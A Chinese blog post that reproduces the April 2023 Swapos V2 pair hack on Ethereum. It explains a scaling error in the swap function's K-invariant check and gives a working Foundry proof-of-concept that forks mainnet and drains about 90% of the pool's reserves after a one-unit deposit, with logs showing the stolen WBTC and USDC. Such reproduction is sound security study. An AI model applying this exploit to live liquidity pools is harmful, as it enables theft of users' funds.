[区块链安全-DEFI攻击复现]002-20230416 Swapos

[区块链安全-DEFI攻击复现]002-20230416 Swapos


2023年4月19日, ETH链上的 Swapos遭受了攻击,损失高达 468K美元。

攻击介绍

2023年4月19日,@BeosinAlert发出警告,Ethereum链上的SwaposV2Pair遭受攻击,造成$467,192损失,其中的一个攻击哈希为0x78edc292af51a93f89ac201a742bce9fa9c5d9a7007f034aa30535e35082d50a


攻击分析

使用phalcon进行分析,攻击从流程上看很简单,那就是调用SWP-V2swap函数,一般来说我们都是与router进行交互,除非在swap中有余额方面的漏洞(上一个001-OLIFE也利用了类似的漏洞)。

漏洞在这里:

        balance0 = IERC20(_token0).balanceOf(address(this));
        balance1 = IERC20(_token1).balanceOf(address(this));
        }
        uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
        uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
        require(amount0In > 0 || amount1In > 0, 'SwaposV2: INSUFFICIENT_INPUT_AMOUNT');
        { // scope for reserve{0,1}Adjusted, avoids stack too deep errors
        uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(10));
        uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(10));
        require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'SwaposV2: K');
        }

因为balance0Adjustedbalance1Adjusted都是乘了10000,而最后只是mul(1000*2),中间差了100倍!

我们不传入,所以_reserve0 - amount0Out = 0,所以balance0Adjusted = balance0,所以我们只要满足balance0Adjusted * 10 >= _reserve0,同时因为有require(amount0In > 0 || amount1In > 0, 'SwaposV2: INSUFFICIENT_INPUT_AMOUNT');,我们可以手动转账1单位以绕过限制。


POC

攻击POC如下:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ~ 486K US$
// Event : Swapos Hack
// Analysis via https://explorer.phalcon.xyz/tx/eth/0x78edc292af51a93f89ac201a742bce9fa9c5d9a7007f034aa30535e35082d50a
// Attacker : 0x53fc4a4a638378b9b81393fbe0fa9a6de2323ebd
// Attack Contract : 0x2df07c054138bf29348f35a12a22550230bd1405
// Vulnerable Contract : 0xf40593a22398c277237266a81212f7d41023b630 (Pancake Swap Contract)
// Attack Tx : https://etherscan.io/tx/0x78edc292af51a93f89ac201a742bce9fa9c5d9a7007f034aa30535e35082d50a

// @Info
// Price manipulation, Vulnerability Exploit

// @Analysis
// DefiHackLab : https://twitter.com/BeosinAlert/status/1647552192243728385

address constant SWAP_ADDRESS = 0xf40593A22398c277237266A81212f7D41023b630;
address constant WBTC_ADDRESS = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
address constant USDC_ADDRESS = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
uint256 constant USDC_DECIMALS = 6;
uint256 constant WBTC_DECIMALS = 8;

contract Swapos is Test { // EOA Simulation

    function setUp() public {
        vm.createSelectFork("mainnet",17057442); // Go back before hacking time
        console.log("start with block %d",17057442);
        console.log("Attacker address %s",address(this));
    }

    function testExploit() public {
        console.log("start hacking...");
        emit log_named_decimal_uint("[Start] Attacker WBTC Balance", IERC20(WBTC_ADDRESS).balanceOf(address(this)), WBTC_DECIMALS);
        emit log_named_decimal_uint("[Start] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), USDC_DECIMALS);

        Exploit exploit = new Exploit();
        
        exploit.attack();

        console.log("End hacking...");
        emit log_named_decimal_uint("[End] Attacker WBTC Balance", IERC20(WBTC_ADDRESS).balanceOf(address(this)), WBTC_DECIMALS);
        emit log_named_decimal_uint("[End] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), USDC_DECIMALS);


    }
}

contract Exploit is Test{

    address owner;
    constructor() public{
        owner = msg.sender;
    }

    function attack() public {
        deal(USDC_ADDRESS, address(this), 1);
        IUniswapV2Pair pair = IUniswapV2Pair(SWAP_ADDRESS);
        (uint256 amount0, uint256 amount1,) = pair.getReserves();
        IERC20(USDC_ADDRESS).transfer(SWAP_ADDRESS,1);
        pair.swap(amount0/10 * 9, amount1/10 * 9,owner,"");
    }
}

输出如下:

[PASS] testExploit() (gas: 2527934)
Logs:
  start with block 17057442
  Attacker address 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
  start hacking...
  [Start] Attacker WBTC Balance: 0.00000000
  [Start] Attacker USDC Balance: 0.000000
  End hacking...
  [End] Attacker WBTC Balance: 1.42229691
  [End] Attacker USDC Balance: 43099.909083

总结

说实话不知道该怎么说,这种问题能出现所有人都有责任。。

我看了下地址0x78520513e30ce6Beba2f2e393ae581f3d77db993,其所创建的合约都在攻击发生20个区块后,迅速撤出了流动性。

猜你喜欢

转载自blog.csdn.net/weixin_43982484/article/details/130413878